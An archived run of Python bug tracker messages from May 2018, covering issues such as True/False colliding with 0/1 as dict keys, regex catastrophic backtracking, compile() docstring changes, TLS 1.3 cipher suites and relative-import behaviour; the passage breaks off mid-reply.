In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1526655623.06.0.682650639539.issue33257@psf.upfronthosting.co.za> Change by Ivan Pozdeev : ---------- pull_requests: +6627 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 11:19:50 2018 From: report at bugs.python.org (Janusz Harkot) Date: Fri, 18 May 2018 15:19:50 +0000 Subject: [issue33572] False/True as dictionary keys treated as integers Message-ID: <1526656790.96.0.682650639539.issue33572@psf.upfronthosting.co.za> New submission from Janusz Harkot : using boolean (True/False) as dictionary keys, coerce them to integers - is this behavior documented somewhere? I know that asking to fix this is not easy fix, but shouldn't this be highlighted everywhere with red flags and warnings, so people will know that this is expected? Python 3.6.5 (default, Mar 29 2018, 03:28:50) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> dta = {False: 'false', True: 'true', 0: 'zero', 1: 'one'} >>> print(dta[False]) zero >>> ---------- components: Interpreter Core messages: 317032 nosy: Janusz Harkot priority: normal severity: normal status: open title: False/True as dictionary keys treated as integers type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 11:22:01 2018 From: report at bugs.python.org (Janusz Harkot) Date: Fri, 18 May 2018 15:22:01 +0000 Subject: [issue33572] False/True as dictionary keys treated as integers In-Reply-To: <1526656790.96.0.682650639539.issue33572@psf.upfronthosting.co.za> Message-ID: <1526656921.87.0.682650639539.issue33572@psf.upfronthosting.co.za> Janusz Harkot added the comment: Python 3.6.5 (default, Mar 29 2018, 03:28:50) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> dta = {False: 'false', True: 'true', 0: 'zero', 1: 'one'} >>> print(dta[False]) zero >>> dta {False: 'zero', True: 'one'} >>> ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 11:23:52 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 18 May 2018 15:23:52 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526657032.93.0.682650639539.issue33522@psf.upfronthosting.co.za> Gregory P. Smith added the comment: I've emailed support at github on this one. Their UI is horrible, "show all checks" does not show them all. It shows five at most. It is an invisible scrolling region. We're forced to manually mouse over and scroll down in that region in order to confirm that the trustworthy checks have run. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 11:25:21 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 18 May 2018 15:25:21 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526657121.81.0.682650639539.issue33522@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 11:26:49 2018 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 18 May 2018 15:26:49 +0000 Subject: [issue33572] False/True as dictionary keys treated as integers In-Reply-To: <1526656790.96.0.682650639539.issue33572@psf.upfronthosting.co.za> Message-ID: <1526657208.99.0.682650639539.issue33572@psf.upfronthosting.co.za> Mark Dickinson added the comment: It's documented here: https://docs.python.org/3/library/stdtypes.html#mapping-types-dict > Numeric types used for keys obey the normal rules for numeric > comparison: if two numbers compare equal (such as 1 and 1.0) then > they can be used interchangeably to index the same dictionary entry. Since False == 0, False and 0 are interchangeable as dictionary keys. Similarly for True and 1. Note that the dictionary you created only actually has two entries: >>> dta = {False: 'false', True: 'true', 0: 'zero', 1: 'one'} >>> dta {False: 'zero', True: 'one'} Though calling out numeric types in particular in the docs does feel a little odd to me: the rule is that *any* two hashable objects that compare equal should be interchangeable for the purposes of dictionary lookup (or set membership, come to that). There's nothing particularly special about numbers in this context. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 12:37:58 2018 From: report at bugs.python.org (INADA Naoki) Date: Fri, 18 May 2018 16:37:58 +0000 Subject: [issue33477] Document that compile(code, 'exec') has different behavior in 3.7+ In-Reply-To: <1526173050.51.0.682650639539.issue33477@psf.upfronthosting.co.za> Message-ID: <1526661478.72.0.682650639539.issue33477@psf.upfronthosting.co.za> INADA Naoki added the comment: Any comments? Would you close this issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:02:04 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Fri, 18 May 2018 17:02:04 +0000 Subject: [issue33477] Document that compile(code, 'exec') has different behavior in 3.7+ In-Reply-To: <1526173050.51.0.682650639539.issue33477@psf.upfronthosting.co.za> Message-ID: <1526662924.85.0.682650639539.issue33477@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: Fair enough that what's new include things about Module > The first statement in their body is not considered as a docstring anymore. Note that this sentence read backward to me. I understand what is meant because I know the new behavior. It might be good to clarify. potentially: > The first statement in the `body` attribute of should not be considered the docstring of the module anymore, the `docstring` attribute is reserved for that. Though the documentation of `compile()` does not say that `compile(...,'exec')` compile a module. It says: > The mode argument specifies what kind of code must be compiled; > it can be 'exec' if source consists of a sequence of statements Which now is incorrect. I was expecting `compile(..., 'exec')` to return a Module with `None` or empty string as the docstring attribute ? which is also a perfectly reasonable request. I think that `compile` documentation should be changed to reflect what it does. Or (but I see why this is un-reasonable) split add the `mode='module'` that has new behavior, while `exec` does not. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:22:04 2018 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 18 May 2018 17:22:04 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526664124.27.0.682650639539.issue19251@psf.upfronthosting.co.za> Stefan Behnel added the comment: I'd second the proposal of considering the "array.array" type for this, instead of the bytes/bytearray types. Why? Because it is somewhat of a niche case after all, and the bytes type seems too exposed for it. Also, array.array supports more diverse base item types than just plain bytes, which could potentially cover more use cases or at least simplify certain data processing needs. Alternatively, implement a lightweight SIMD-like memoryview type that operates on arbitrary buffers (which covers bytes, bytearray and array.array). But that's either NumPy then, or something new that would best spend its early days on PyPI. ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:23:26 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 17:23:26 +0000 Subject: [issue33471] string format with 'n' failling with french locales In-Reply-To: <1526124606.41.0.682650639539.issue33471@psf.upfronthosting.co.za> Message-ID: <1526664206.31.0.682650639539.issue33471@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:36:41 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 17:36:41 +0000 Subject: [issue33492] Updating the Evaluation order section to cover *expression in calls In-Reply-To: <1526285664.99.0.682650639539.issue33492@psf.upfronthosting.co.za> Message-ID: <1526665001.86.0.682650639539.issue33492@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:38:29 2018 From: report at bugs.python.org (Berker Peksag) Date: Fri, 18 May 2018 17:38:29 +0000 Subject: [issue32282] When using a Windows XP compatible toolset, `socketmodule.c` fails to build In-Reply-To: <1513036854.54.0.213398074469.issue32282@psf.upfronthosting.co.za> Message-ID: <1526665109.71.0.682650639539.issue32282@psf.upfronthosting.co.za> Berker Peksag added the comment: New changeset 09eb6fe8fdd2515546b933902aef36b72d417ace by Berker Peksag (Miss Islington (bot)) in branch '3.6': bpo-32282: Remove unnecessary check for `VersionHelpers.h` in `socketmodule.c` on Windows (GH-5120) https://github.com/python/cpython/commit/09eb6fe8fdd2515546b933902aef36b72d417ace ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:38:32 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 18 May 2018 17:38:32 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526665112.71.0.682650639539.issue19251@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Please, let's have this API discussion outside of the bug tracker. This deserves a PEP. Also because I have an alternative API to suggest :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:40:34 2018 From: report at bugs.python.org (Berker Peksag) Date: Fri, 18 May 2018 17:40:34 +0000 Subject: [issue32282] When using a Windows XP compatible toolset, `socketmodule.c` fails to build In-Reply-To: <1513036854.54.0.213398074469.issue32282@psf.upfronthosting.co.za> Message-ID: <1526665234.65.0.682650639539.issue32282@psf.upfronthosting.co.za> Berker Peksag added the comment: It looks like we need to backport this manually for 3.5 (if Larry approves) ---------- stage: patch review -> backport needed versions: -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:41:17 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Fri, 18 May 2018 17:41:17 +0000 Subject: [issue33477] Document that compile(code, 'exec') has different behavior in 3.7+ In-Reply-To: <1526173050.51.0.682650639539.issue33477@psf.upfronthosting.co.za> Message-ID: <1526665277.63.0.682650639539.issue33477@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6628 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:47:19 2018 From: report at bugs.python.org (Matthew Barnett) Date: Fri, 18 May 2018 17:47:19 +0000 Subject: [issue33566] re.findall() dead locked whent the expected ending char not occur until end of string In-Reply-To: <1526630765.64.0.682650639539.issue33566@psf.upfronthosting.co.za> Message-ID: <1526665639.18.0.682650639539.issue33566@psf.upfronthosting.co.za> Matthew Barnett added the comment: You don't give the value of 'newlines', but the problem is probably catastrophic backtracking, not deadlock. ---------- nosy: +mrabarnett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 13:56:58 2018 From: report at bugs.python.org (Tim Peters) Date: Fri, 18 May 2018 17:56:58 +0000 Subject: [issue33566] re.findall() dead locked whent the expected ending char not occur until end of string In-Reply-To: <1526630765.64.0.682650639539.issue33566@psf.upfronthosting.co.za> Message-ID: <1526666218.76.0.682650639539.issue33566@psf.upfronthosting.co.za> Tim Peters added the comment: Min, you need to give a complete example other people can actually run for themselves. Offhand, this part of the regexp (.|\s)* all by itself _can_ cause exponential-time behavior. You can run this for yourself: >>> import re >>> p = r"(.|\s)*K" >>> re.search(p, " " * 10) # fast >>> re.search(p, " " * 15) # fast >>> re.search(p, " " * 20) # obviously takes a bit of time >>> re.search(p, " " * 21) # very obviously takes time >>> re.search(p, " " * 22) # over a second >>> re.search(p, " " * 25) # about 10 seconds Etc. ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 14:00:30 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 18:00:30 +0000 Subject: [issue33500] Python TKinter for Mac on latest 2.7.15 still extremely slow vs Windows In-Reply-To: <1526312324.63.0.682650639539.issue33500@psf.upfronthosting.co.za> Message-ID: <1526666430.26.0.682650639539.issue33500@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Responses to the following might help anyone who works on this. 1. Is the relative performance only an issue on 2.7 and not 3.6+? 2. What are the 'recent issues here'? What is different about your example code. 3. We prefer plain text .py files that can be viewed in a browser or downloaded and run. 4. We prefer minimal failing examples. (Here, 'failing' means 'slow'.) What particular tkinter functions run comparitively slow? ---------- components: +macOS nosy: +ned.deily, ronaldoussoren, serhiy.storchaka, terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 14:05:17 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 18:05:17 +0000 Subject: [issue33516] unittest.mock: Add __round__ to supported magicmock methods In-Reply-To: <1526384892.72.0.682650639539.issue33516@psf.upfronthosting.co.za> Message-ID: <1526666717.43.0.682650639539.issue33516@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- nosy: +michael.foord versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 14:07:03 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 18:07:03 +0000 Subject: [issue33527] Invalid child function scope In-Reply-To: <1526417770.88.0.682650639539.issue33527@psf.upfronthosting.co.za> Message-ID: <1526666823.71.0.682650639539.issue33527@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- stage: -> test needed versions: -Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 14:13:21 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 18:13:21 +0000 Subject: [issue33572] False/True as dictionary keys treated as integers In-Reply-To: <1526656790.96.0.682650639539.issue33572@psf.upfronthosting.co.za> Message-ID: <1526667201.47.0.682650639539.issue33572@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Mark, are you suggesting a doc addition (and a change of Components) or should we close this as 'not a bug'? ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 14:29:27 2018 From: report at bugs.python.org (Tim Peters) Date: Fri, 18 May 2018 18:29:27 +0000 Subject: [issue33572] False/True as dictionary keys treated as integers In-Reply-To: <1526656790.96.0.682650639539.issue33572@psf.upfronthosting.co.za> Message-ID: <1526668167.67.0.682650639539.issue33572@psf.upfronthosting.co.za> Tim Peters added the comment: I expect these docs date back to when ints, longs, and floats were the only hashable language-supplied types for which mixed-type comparison could ever return True. They could stand some updates ;-) `fractions.Fraction` and `decimal.Decimal` are more language-supplied numeric types that participate now, and the Boolean singletons are instances of (a subclass of) `int`. I think it would be good to point that out, especially the latter (in many other languages Booleans can't be compared to ints). So +1 both to Mark's more-general explanation, and to explicitly naming more specific cases for illustration. ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 14:38:42 2018 From: report at bugs.python.org (Zachary Ware) Date: Fri, 18 May 2018 18:38:42 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring In-Reply-To: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> Message-ID: <1526668722.48.0.682650639539.issue33556@psf.upfronthosting.co.za> Zachary Ware added the comment: New changeset 5634331a76dfe9fbe4b76475e11307a0922d6a15 by Zachary Ware (Skip Montanaro) in branch 'master': bpo-33556: Remove reference to thread module from docstring (GH-6963) https://github.com/python/cpython/commit/5634331a76dfe9fbe4b76475e11307a0922d6a15 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 14:39:48 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 18 May 2018 18:39:48 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring In-Reply-To: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> Message-ID: <1526668788.42.0.682650639539.issue33556@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6629 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 14:40:47 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 18 May 2018 18:40:47 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring In-Reply-To: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> Message-ID: <1526668847.1.0.682650639539.issue33556@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6630 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:21:44 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 19:21:44 +0000 Subject: [issue33572] False/True as dictionary keys treated as integers In-Reply-To: <1526656790.96.0.682650639539.issue33572@psf.upfronthosting.co.za> Message-ID: <1526671304.09.0.682650639539.issue33572@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- assignee: -> docs at python components: +Documentation -Interpreter Core nosy: +docs at python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:29:45 2018 From: report at bugs.python.org (W deW) Date: Fri, 18 May 2018 19:29:45 +0000 Subject: [issue33573] statistics.median does not work with ordinal scale Message-ID: <1526671785.76.0.682650639539.issue33573@psf.upfronthosting.co.za> New submission from W deW : The 0.5-quantile or median is defined for ordinal, interval, and ratio scales. An Enumerator as derived from Enum and extended with rich comparison methods implements an ordinal scale. Therefore calculating the median over a list of such enum-elements ought to be possible. The current implementation tries to interpolate the median value by averaging the two middle observations. This is allowed for interval and ratio scales, but since this interpolation involves an addition, not so for ordinal scales. Although computationally it is possible to do this for numeric ordinal variables, logically it is non-sense for the distance between ordinal values is - by definition - unknown. On non-numeric ordinal values it is even computationally impossible. The correct return value would be: the first value in an ordered set where al least half the number of observations is smaller or equal than it. This is observation[len(observation)//2] for odd and even length ordered lists of values. Whether the same applies to interval and ratio scales is a matter of opinion. The currently implemented algorith definitely is more popular these days. ---------- components: Library (Lib) files: testMedian.py messages: 317048 nosy: W deW priority: normal severity: normal status: open title: statistics.median does not work with ordinal scale type: crash versions: Python 3.4 Added file: https://bugs.python.org/file47601/testMedian.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:30:27 2018 From: report at bugs.python.org (Khalid Moh'd.) Date: Fri, 18 May 2018 19:30:27 +0000 Subject: [issue33574] Conversion of Number to String(str(number)) Message-ID: <1526671827.02.0.682650639539.issue33574@psf.upfronthosting.co.za> New submission from Khalid Moh'd. : Consider conversion of an integer to string: a=5 #number str #outputs str(a) #works perfectly and prints '5' Now, consider: str="Hello World" #reads the string str #prints "Hello World" str(5) #gives an error Interpreter considers variable str before parenthesis not str from There must be a way to distinguish user defined variable str and conversion operation str(). ---------- messages: 317049 nosy: Khalid Moh'd. priority: normal severity: normal status: open title: Conversion of Number to String(str(number)) type: compile error versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:30:32 2018 From: report at bugs.python.org (Rolf Campbell) Date: Fri, 18 May 2018 19:30:32 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526671832.2.0.682650639539.issue33547@psf.upfronthosting.co.za> Rolf Campbell added the comment: Re-opening because I've found a simple example that does not involve __main__. ./func/__init__.py:func = 1 ./func/__init__.py:from . import func ./func/__init__.py:print(f"Namespace value of func after func module import:{func}") ./func/func.py:print("Module imported") ./main.py:import func ./main.py:def func(x): ./main.py: return x If you create files that look like that, and then run: "python3.6 main.py" I get this output: Namespace value of func after func module import:1 If I comment out the "func = 1" line, then func ends up being imported (and printing as a ). ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:31:34 2018 From: report at bugs.python.org (Rolf Campbell) Date: Fri, 18 May 2018 19:31:34 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526671894.6.0.682650639539.issue33547@psf.upfronthosting.co.za> Change by Rolf Campbell : ---------- resolution: not a bug -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:32:22 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 18 May 2018 19:32:22 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring In-Reply-To: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> Message-ID: <1526671942.38.0.682650639539.issue33556@psf.upfronthosting.co.za> miss-islington added the comment: New changeset c6a5cc8f244ee71ce932003366411aacadda8dd0 by Miss Islington (bot) in branch '3.6': bpo-33556: Remove reference to thread module from docstring (GH-6963) https://github.com/python/cpython/commit/c6a5cc8f244ee71ce932003366411aacadda8dd0 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:38:51 2018 From: report at bugs.python.org (Alexander Mohr) Date: Fri, 18 May 2018 19:38:51 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526672331.44.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: here's a version that tries to do something similar but does not reproduce the issue ---------- Added file: https://bugs.python.org/file47602/tracemalloc_test2.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:44:10 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 19:44:10 +0000 Subject: [issue33572] Better document mixed-type comparison of set items, dict keys In-Reply-To: <1526656790.96.0.682650639539.issue33572@psf.upfronthosting.co.za> Message-ID: <1526672650.81.0.682650639539.issue33572@psf.upfronthosting.co.za> Terry J. Reedy added the comment: With Tim's addition >>> from fractions import Fraction as F >>> from decimal import Decimal as D >>> s = {0, 1, 0.0, 1.0, F(0,1), F(1, 1), D(0), D(1), False, True} >>> s {0, 1} I think we should consider moving the main discussion of the general comparison and hashing principle and example to the set entry. (Sets ars simpler and are when people new to Python already know about.) Point out that for displays, the first of equals is kept and not replaced (this is also true of dicts). Then, in the dict entry, say that dict keys are treated like set items, give an equivalent dict example, and link to the discussion of set items. >>> x = None >>> d = {0:x, 1:x, 0.0:x, 1.0:x, F(0,1):x, F(1, 1):x, D(0):x, D(1):x, False:x, True:x} >>> d {0: None, 1: None} >>> ---------- title: False/True as dictionary keys treated as integers -> Better document mixed-type comparison of set items, dict keys _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:46:53 2018 From: report at bugs.python.org (Zachary Ware) Date: Fri, 18 May 2018 19:46:53 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring In-Reply-To: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> Message-ID: <1526672813.29.0.682650639539.issue33556@psf.upfronthosting.co.za> Zachary Ware added the comment: New changeset abde17e663edd6437cc7eb0405fe418449a25d72 by Zachary Ware (Miss Islington (bot)) in branch '3.7': bpo-33556: Remove reference to thread module from docstring (GH-6963) https://github.com/python/cpython/commit/abde17e663edd6437cc7eb0405fe418449a25d72 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:48:49 2018 From: report at bugs.python.org (Zachary Ware) Date: Fri, 18 May 2018 19:48:49 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring In-Reply-To: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> Message-ID: <1526672929.18.0.682650639539.issue33556@psf.upfronthosting.co.za> Zachary Ware added the comment: Done, thanks Skip :) Can we convince you to reclaim your commit bits so you can click the buttons yourself next time? ;) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:53:22 2018 From: report at bugs.python.org (Christian Heimes) Date: Fri, 18 May 2018 19:53:22 +0000 Subject: [issue33570] OpenSSL 1.1.1 / TLS 1.3 cipher suite changes In-Reply-To: <1526648438.42.0.682650639539.issue33570@psf.upfronthosting.co.za> Message-ID: <1526673202.73.0.682650639539.issue33570@psf.upfronthosting.co.za> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +6631 stage: test needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 15:55:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 18 May 2018 19:55:06 +0000 Subject: [issue33447] Asynchronous lambda syntax In-Reply-To: <1525836160.23.0.682650639539.issue33447@psf.upfronthosting.co.za> Message-ID: <1526673306.85.0.682650639539.issue33447@psf.upfronthosting.co.za> Yury Selivanov added the comment: The syntax for async lambdas doesn't look nice and I, personally, don't see that many use cases for them to justify adding new syntax. And this would need a new PEP. I suggest to start a discussion on the Python-ideas mailing list if this is something you want to see in Python. ---------- components: +Interpreter Core -asyncio resolution: -> postponed stage: -> resolved status: open -> closed versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 16:01:14 2018 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 18 May 2018 20:01:14 +0000 Subject: [issue33574] Conversion of Number to String(str(number)) In-Reply-To: <1526671827.02.0.682650639539.issue33574@psf.upfronthosting.co.za> Message-ID: <1526673674.93.0.682650639539.issue33574@psf.upfronthosting.co.za> Eric V. Smith added the comment: The way to avoid this problem is to not assign to str. You should not shadow python builtins that you want to continue using. ---------- nosy: +eric.smith resolution: -> not a bug stage: -> resolved status: open -> closed type: compile error -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 16:16:31 2018 From: report at bugs.python.org (Steve Dower) Date: Fri, 18 May 2018 20:16:31 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526674591.42.0.682650639539.issue33522@psf.upfronthosting.co.za> Steve Dower added the comment: GitHub has broken CSS everywhere right now :) Their oauth page doesn't show scroll bars either, which means you can't get to the "authorise" button if you're in more than a couple of organisations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 16:22:21 2018 From: report at bugs.python.org (Christian Heimes) Date: Fri, 18 May 2018 20:22:21 +0000 Subject: [issue30437] SSL_shutdown needs SSL_read() until SSL_ERROR_ZERO_RETURN In-Reply-To: <1495511053.18.0.843263784452.issue30437@psf.upfronthosting.co.za> Message-ID: <1526674941.86.0.682650639539.issue30437@psf.upfronthosting.co.za> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +6632 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 16:48:24 2018 From: report at bugs.python.org (Andrew Gaul) Date: Fri, 18 May 2018 20:48:24 +0000 Subject: [issue22848] Subparser help does not respect SUPPRESS argument In-Reply-To: <1415728297.74.0.809984326992.issue22848@psf.upfronthosting.co.za> Message-ID: <1526676504.65.0.682650639539.issue22848@psf.upfronthosting.co.za> Change by Andrew Gaul : ---------- nosy: +gaul _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 17:42:33 2018 From: report at bugs.python.org (Ned Deily) Date: Fri, 18 May 2018 21:42:33 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() In-Reply-To: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> Message-ID: <1526679753.83.0.682650639539.issue33540@psf.upfronthosting.co.za> Ned Deily added the comment: It would be great if someone(s) could give PR 6911 a review, since it is a release blocker for 3.7.0rc1. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 17:43:28 2018 From: report at bugs.python.org (R. David Murray) Date: Fri, 18 May 2018 21:43:28 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526679808.12.0.682650639539.issue33547@psf.upfronthosting.co.za> R. David Murray added the comment: It's the same answer. __init__ *is* the package namespace, so you are setting the value of 'func' in the package (.) namespace, and what import is doing is correct. I know this is confusing. I banged my head against it while debugging a weird import problem in the anydb module, but it is working as designed. I think the way __init__ works may fall under rule 14 of the Zen :) ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 17:44:04 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 21:44:04 +0000 Subject: [issue33447] Asynchronous lambda syntax In-Reply-To: <1525836160.23.0.682650639539.issue33447@psf.upfronthosting.co.za> Message-ID: <1526679844.17.0.682650639539.issue33447@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The only thing special about functions defined with lambda expressions rather than def statements is the generic name attribute '' instead of a specific name. PEP8 intentionally and properly discourages 'name = lambda ...' as inferior to 'def name(...'. For your example, async def foo(a, b): return 5 + await bar(b) For inline function expressions, as in function calls, the obvious proposals would be to reuse 'async' in f(async lambda a, b: ...) or a new keyword, such as 'alambda' or 'asynclambda' or ... . Either would need multiple use cases to justify not just using async def first. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 18:11:53 2018 From: report at bugs.python.org (Rolf Campbell) Date: Fri, 18 May 2018 22:11:53 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526681513.72.0.682650639539.issue33547@psf.upfronthosting.co.za> Rolf Campbell added the comment: OK, OK, I think I finally understand what you mean here. Let me try to repeat it just to make sure I really understand: When requesting a member of a multi-file module (like "func" in my example), python only tries to load that member as a module from disk if there isn't something already created as part of __init__.py. In my case, I'm trying to load "func.func" which I specifically created in line#1 of func/__init__.py, so Python sees no need to even try to load the func/func.py file. If I comment-out the first line of func/__init__.py, then Python fails to find an item called "func.func" and so it tries to load one from disk which causes it to load "func/func.py". My real problem here was that I shouldn't be creating entries in the "func" namespace that clash with on-disk sub-modules that I want loaded. Thanks for your time and effort in explaining this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 18:29:23 2018 From: report at bugs.python.org (R. David Murray) Date: Fri, 18 May 2018 22:29:23 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526682563.15.0.682650639539.issue33547@psf.upfronthosting.co.za> R. David Murray added the comment: Yes, you are substantially correct. A subtlety that may enhance your understanding (if it doesn't instead totally confuse you :) is 